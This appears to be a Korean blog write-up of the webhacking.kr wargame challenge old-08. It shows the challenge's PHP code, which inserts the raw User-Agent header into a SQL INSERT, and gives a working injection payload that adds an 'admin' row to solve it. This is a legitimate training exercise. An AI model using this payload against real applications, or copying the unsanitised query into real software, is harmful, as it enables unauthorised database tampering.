본문 바로가기

webhacking.kr

old-08

1 // USER_AGENT와 아이피를 변수에 넣는다 중요!!!
2  $agent=trim(getenv("HTTP_USER_AGENT"));
3  $ip=$_SERVER['REMOTE_ADDR'];
4
5  //필터링 부분
6  if(preg_match("/from/i",$agent)){
7    echo("<br>Access Denied!<br><br>");
8    echo(htmlspecialchars($agent));
9    exit();
10  }
11
12  // USER_AGENT 로 db 조회한다
13  $result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
14 $ck = mysqli_fetch_array($result);
15
16 // admin 인지 확인하고 맞으면 해결
17 if($ck){
18   echo "hi <b>".htmlentities($ck[0])."</b><p>";
19   if($ck[0]=="admin"){
20     mysqli_query($db,"delete from chall8");
21     solve(8);
22   }
23 }
24
25 // 이번에 공격할 포인트!
26 if(!$ck){
27   $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
28   echo("<br><br>done!  ({$count_ck[0]}/70)");
29 }

 

23번 줄을 보면 $agent 와 $ip 를 db에 저장한다

 

$agent 는 1번줄에 설명했다

 

HTTP_USER_AGENT... 어디서 봤는가....

 

주로 버프를 사용할때 많이 봤을것이다

 

맞다 그 User-Agent를 db에 저장하는 것이다

^_^ 하위?

User-Agent에 ' 하나만 넣어보자

 

 

혹시나 이해 안됐을까 자세한 설명을 한다

 

insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')

 

이게 db에 저장하는 쿼리문, 그리고  

 

insert into chall8(agent,ip,id) values(''','{$ip}','guest')

우리가 User-Agent 에 넣은 ' 

 

우리는 쿼리를 조회하고 그게 admin이어야 하기에 

 

admin을 넣어한다 하지만 어떻게..?

 

insert into chall8(agent,ip,id) values('shinobu','123','admin'),('sdfg','{$ip}','guest')

 

shinobu','123','admin'),('sdfg 이렇게 넣으면 값이 2개가 저장이 된다

 

User-Agent 값이 그대로 들어가기 때문에 조작을 할 수 있는것이다

 

 

 

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");

마지막으로 13번째 줄을 이용해서 데이터를 조회하면

 

문제가 풀린다

'webhacking.kr' 카테고리의 다른 글

old-11  (0) 2021.08.10
old-09  (0) 2021.08.10
old-10  (0) 2021.08.10
old-07  (0) 2021.08.10
old-06  (0) 2021.08.09